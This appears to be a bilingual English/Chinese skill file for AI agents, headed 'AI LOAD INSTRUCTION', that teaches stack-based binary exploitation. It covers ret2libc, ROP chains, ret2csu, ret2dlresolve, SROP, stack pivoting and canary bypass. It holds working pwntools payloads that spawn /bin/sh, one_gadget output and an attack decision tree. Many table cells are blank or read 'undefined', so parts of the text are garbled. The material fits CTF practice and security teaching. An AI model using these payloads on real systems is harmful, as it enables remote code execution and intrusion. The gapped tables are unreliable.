Loading...
Loading...
Compare original and translation side by side
AI LOAD INSTRUCTION: Expert stack-based exploitation techniques. Covers classic buffer overflow, return-to-libc, ROP chain construction, ret2csu, ret2dlresolve, SROP, stack pivoting, and canary bypass. Distilled from ctf-wiki advanced-rop, real-world CVEs, and CTF competition patterns. Base models often miss the nuance of gadget selection under constrained conditions.
AI加载说明:高级栈溢出利用技术,覆盖经典缓冲区溢出、return-to-libc、ROP链构建、ret2csu、ret2dlresolve、SROP、栈迁移、金丝雀绕过。内容提炼自ctf-wiki高级ROP教程、真实世界CVE以及CTF竞赛模式,基础大模型通常不了解受限条件下gadget选择的细微差异。
High Address
┌─────────────────────┐
│ ... (caller) │
├─────────────────────┤
│ Return Address │ ← overwrite target (EIP/RIP control)
├─────────────────────┤
│ Saved EBP/RBP │ ← overwrite for stack pivoting
├─────────────────────┤
│ Canary (if enabled)│
├─────────────────────┤
│ Local Variables │ ← buffer starts here
├─────────────────────┤
│ ... │
└─────────────────────┘
Low Address| Element | x86 (32-bit) | x86-64 (64-bit) |
|---|---|---|
| Return address size | 4 bytes | 8 bytes |
| Saved frame pointer | 4 bytes (EBP) | 8 bytes (RBP) |
| Canary size | 4 bytes | 8 bytes |
| Calling convention | args on stack | RDI, RSI, RDX, RCX, R8, R9 then stack |
| Syscall instruction | | |
High Address
┌─────────────────────┐
│ ... (caller) │
├─────────────────────┤
│ Return Address │ ← 覆盖目标(控制EIP/RIP)
├─────────────────────┤
│ Saved EBP/RBP │ ← 覆盖以实现栈迁移
├─────────────────────┤
│ Canary (if enabled)│
├─────────────────────┤
│ Local Variables │ ← 缓冲区起始位置
├─────────────────────┤
│ ... │
└─────────────────────┘
Low Address| 元素 | x86 (32位) | x86-64 (64位) |
|---|---|---|
| 返回地址大小 | 4字节 | 8字节 |
| 保存的帧指针 | 4字节 (EBP) | 8字节 (RBP) |
| Canary大小 | 4字节 | 8字节 |
| 调用约定 | 参数存放在栈上 | 前6个参数依次存放在RDI、RSI、RDX、RCX、R8、R9,剩余参数存放在栈上 |
| 系统调用指令 | | |
payload = b'A' * offset
payload += p32(system_addr)
payload += p32(exit_addr) # fake return address for system()
payload += p32(binsh_addr) # arg1: "/bin/sh"payload = b'A' * offset
payload += p32(system_addr)
payload += p32(exit_addr) # system()的伪造返回地址
payload += p32(binsh_addr) # 参数1: "/bin/sh"pop_rdi = elf_base + 0x401234 # pop rdi; ret
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)pop_rdi = elf_base + 0x401234 # pop rdi; ret
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)| Method | Technique | When |
|---|---|---|
| puts@plt(puts@GOT) | Leak resolved libc address | GOT already resolved, puts in PLT |
| write@plt(1, read@GOT, 8) | Leak via write syscall | write available |
| printf("%s", GOT_entry) | Leak via format string | printf controllable |
| Partial overwrite | Overwrite low bytes of return to reach leak gadget | PIE enabled, known last 12 bits |
undefined| 方法 | 技术 | 适用场景 |
|---|---|---|
| puts@plt(puts@GOT) | 泄露已解析的libc地址 | GOT已解析,PLT中存在puts函数 |
| write@plt(1, read@GOT, 8) | 通过write系统调用泄露 | 存在write函数 |
| printf("%s", GOT_entry) | 通过格式化字符串泄露 | 可控制printf参数 |
| 部分覆盖 | 覆盖返回地址的低字节以跳转至泄露gadget | 开启PIE,已知最后12位地址 |
undefinedundefinedundefined$ one_gadget /path/to/libc.so.6
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints: rsp & 0xf == 0, rcx == NULL
0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints: [rsp+0x40] == NULL$ one_gadget /path/to/libc.so.6
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints: rsp & 0xf == 0, rcx == NULL
0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints: [rsp+0x40] == NULL| Tool | Strength | Command |
|---|---|---|
| ROPgadget | Comprehensive search, chain generation | |
| ropper | Semantic search, JOP/COP support | |
| pwntools ROP | Automated chain building | |
| xrop | Fast gadget search | |
| 工具 | 优势 | 命令 |
|---|---|---|
| ROPgadget | 全面搜索、链生成 | |
| ropper | 语义搜索、支持JOP/COP | |
| pwntools ROP | 自动化链构建 | |
| xrop | 快速gadget搜索 | |
| Purpose | Gadget | Use Case |
|---|---|---|
| Set RDI (arg1) | | Most function calls |
| Set RSI (arg2) | | Two-arg functions |
| Set RDX (arg3) | | Three-arg functions, use ret2csu |
| Syscall | | Direct syscall invocation |
| Stack pivot | | Move RSP to controlled buffer |
| Align stack | | Fix 16-byte alignment for movaps |
system()movapsret| 用途 | Gadget | 适用场景 |
|---|---|---|
| 设置RDI(第一个参数) | | 绝大多数函数调用 |
| 设置RSI(第二个参数) | | 双参数函数调用 |
| 设置RDX(第三个参数) | | 三参数函数调用,可使用ret2csu替代 |
| 系统调用 | | 直接调用系统调用 |
| 栈迁移 | | 将RSP移动到可控缓冲区 |
| 栈对齐 | | 修复movaps指令需要的16字节对齐 |
system()movapsret__libc_csu_init; Gadget 1 (csu_init + 0x3a): pop registers
pop rbx ; 0
pop rbp ; 1
pop r12 ; call target (function pointer address)
pop r13 ; arg3 (rdx)
pop r14 ; arg2 (rsi)
pop r15 ; arg1 (edi = r15d)
ret
; Gadget 2 (csu_init + 0x20): controlled call
mov rdx, r13
mov rsi, r14
mov edi, r15d ; NOTE: only sets edi (32-bit), not full rdi
call [r12 + rbx*8]
add rbx, 1
cmp rbp, rbx
jne <loop>
; falls through to gadget 1 againrbx=0rbp=1__libc_csu_init; Gadget 1 (csu_init + 0x3a): 弹出寄存器
pop rbx ; 0
pop rbp ; 1
pop r12 ; 调用目标(函数指针地址)
pop r13 ; 参数3 (rdx)
pop r14 ; 参数2 (rsi)
pop r15 ; 参数1 (edi = r15d)
ret
; Gadget 2 (csu_init + 0x20): 可控调用
mov rdx, r13
mov rsi, r14
mov edi, r15d ; 注意:仅设置edi(32位),而非完整rdi
call [r12 + rbx*8]
add rbx, 1
cmp rbp, rbx
jne <loop>
; 执行完后再次落入gadget 1rbx=0rbp=1systemsystem_dl_runtime_resolve(link_map, reloc_offset)Elf_RelElf_SymElf_Symst_name"system\x00"reloc_offset/bin/shundefined_dl_runtime_resolve(link_map, reloc_offset)Elf_RelElf_SymElf_Symst_name"system\x00"reloc_offset/bin/shundefinedundefinedundefined| Aspect | 32-bit | 64-bit |
|---|---|---|
| Relocation type | | |
| Symbol table entry | | |
| Alignment | Relaxed | Strict (must satisfy |
| Version check | Usually skippable | |
| 维度 | 32位 | 64位 |
|---|---|---|
| 重定位类型 | | |
| 符号表项 | | |
| 对齐要求 | 宽松 | 严格(必须满足 |
| 版本检查 | 通常可跳过 | |
sigreturnfrom pwn import *
frame = SigreturnFrame()
frame.rax = constants.SYS_execve # 59
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret_addr
frame.rsp = new_stack_addr # optional pivot
payload = b'A' * offset
payload += p64(pop_rax_ret) + p64(15) # SYS_rt_sigreturn = 15
payload += p64(syscall_ret)
payload += bytes(frame)pop rdxsigreturnfrom pwn import *
frame = SigreturnFrame()
frame.rax = constants.SYS_execve # 59
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret_addr
frame.rsp = new_stack_addr # 可选栈迁移
payload = b'A' * offset
payload += p64(pop_rax_ret) + p64(15) # SYS_rt_sigreturn = 15
payload += p64(syscall_ret)
payload += bytes(frame)pop rdx| Technique | Gadget | Precondition |
|---|---|---|
| | Control saved RBP to point to fake stack |
| Swap RSP with RAX | Control RAX (via gadget chain) |
| Direct RSP control | Rare but powerful |
| SROP pivot | Set RSP in SigreturnFrame | Only need sigreturn gadget |
| 技术 | Gadget | 前置条件 |
|---|---|---|
| | 控制保存的RBP指向伪造栈 |
| 交换RSP与RAX | 可通过gadget链控制RAX |
| 直接控制RSP | 罕见但功能强大 |
| SROP迁移 | 在SigreturnFrame中设置RSP | 仅需要sigreturn gadget |
Overflow: [AAAA...][fake_rbp → buf][leave_ret_addr]
1st leave: rsp = rbp → fake_rbp; pop rbp → *fake_rbp
1st ret: rip = leave_ret_addr
2nd leave: rsp = new_rbp → buf+8; pop rbp → *(buf)
2nd ret: rip = *(buf+8) → start of ROP chain in buf溢出内容: [AAAA...][fake_rbp → buf][leave_ret_addr]
第一次leave: rsp = rbp → fake_rbp; pop rbp → *fake_rbp
第一次ret: rip = leave_ret_addr
第二次leave: rsp = new_rbp → buf+8; pop rbp → *(buf)
第二次ret: rip = *(buf+8) → 执行buf中的ROP链| Technique | Condition | Method |
|---|---|---|
| Brute-force | | Byte-by-byte (256 × 7 = 1792 attempts for 64-bit) |
| Format string leak | printf(user_input) available | |
| Stack reading | One-byte overflow or partial read | Overwrite canary null byte, read via error/output |
| Thread canary | Overflow reaches TLS | Overwrite |
| Information disclosure | Uninitialized stack variable leak | Canary included in leaked data |
| 技术 | 条件 | 方法 |
|---|---|---|
| 暴力破解 | | 逐字节爆破(64位canary需要256 × 7 = 1792次尝试) |
| 格式化字符串泄露 | 存在printf(user_input)调用 | 使用 |
| 栈读取 | 存在单字节溢出或部分读取 | 覆盖canary的空字节,通过错误/输出读取canary |
| 线程canary | 溢出可到达TLS | 同时覆盖TLS中的 |
| 信息泄露 | 未初始化栈变量泄露 | 泄露数据中包含canary |
checksec ./binary # Show protections (NX, canary, PIE, RELRO)
ROPgadget --binary ./binary --ropchain # Auto-generate ROP chain
ropper -f ./binary --search "pop rdi" # Semantic gadget search
one_gadget ./libc.so.6 # Find one-shot RCE gadgets
pwn template ./binary --host x --port y # Generate pwntools exploit skeletonchecksec ./binary # 查看保护机制(NX、canary、PIE、RELRO)
ROPgadget --binary ./binary --ropchain # 自动生成ROP链
ropper -f ./binary --search "pop rdi" # 语义化gadget搜索
one_gadget ./libc.so.6 # 查找单步RCE gadget
pwn template ./binary --host x --port y # 生成pwntools exploit骨架Binary has stack overflow?
├── checksec: NX disabled?
│ └── YES → shellcode on stack, ret to buffer (ret2shellcode)
│ └── NO (NX enabled) →
│ ├── Canary enabled?
│ │ ├── YES → fork() server? → brute-force canary
│ │ │ format string? → leak canary
│ │ │ info leak? → read canary
│ │ └── NO → proceed to ROP
│ ├── ASLR/PIE enabled?
│ │ ├── PIE → leak code base (partial overwrite last 12 bits, or info leak)
│ │ ├── ASLR only → leak libc base (puts@GOT, write@GOT)
│ │ └── Neither → addresses known, direct ROP
│ ├── Can leak libc?
│ │ ├── YES → ret2libc (system/execve) or one_gadget
│ │ └── NO → ret2dlresolve (forge resolution) or SROP
│ ├── Need 3+ args but no pop rdx?
│ │ └── ret2csu or SROP
│ ├── Overflow too short for full chain?
│ │ └── Stack pivot (leave;ret, xchg rsp)
│ ├── Static binary (no libc)?
│ │ └── SROP + syscall chain (execve via sigreturn)
│ └── Full RELRO?
│ └── Cannot overwrite GOT → target __free_hook, __malloc_hook,
│ or _IO_FILE vtable (see ../arbitrary-write-to-rce/)二进制文件存在栈溢出漏洞?
├── checksec检查:NX是否关闭?
│ └── 是 → 栈上放置shellcode,返回到缓冲区(ret2shellcode)
│ └── 否(开启NX) →
│ ├── 是否开启Canary?
│ │ ├── 是 → 是否为fork()服务器? → 暴力破解canary
│ │ │ 是否存在格式化字符串漏洞? → 泄露canary
│ │ │ 是否存在信息泄露? → 读取canary
│ │ └── 否 → 进入ROP流程
│ ├── 是否开启ASLR/PIE?
│ │ ├── 开启PIE → 泄露代码基地址(部分覆盖最后12位,或信息泄露)
│ │ ├── 仅开启ASLR → 泄露libc基地址(puts@GOT、write@GOT)
│ │ └── 均未开启 → 地址已知,直接构造ROP
│ ├── 是否可以泄露libc?
│ │ ├── 是 → ret2libc(system/execve)或one_gadget
│ │ └── 否 → ret2dlresolve(伪造解析过程)或SROP
│ ├── 需要3个以上参数但无pop rdx gadget?
│ │ └── 使用ret2csu或SROP
│ ├── 溢出长度不足以构造完整链?
│ │ └── 栈迁移(leave;ret、xchg rsp)
│ ├── 静态二进制文件(无libc)?
│ │ └── SROP + 系统调用链(通过sigreturn执行execve)
│ └── 开启Full RELRO?
│ └── 无法覆盖GOT → 攻击__free_hook、__malloc_hook、
│ 或_IO_FILE虚表(参见../arbitrary-write-to-rce/)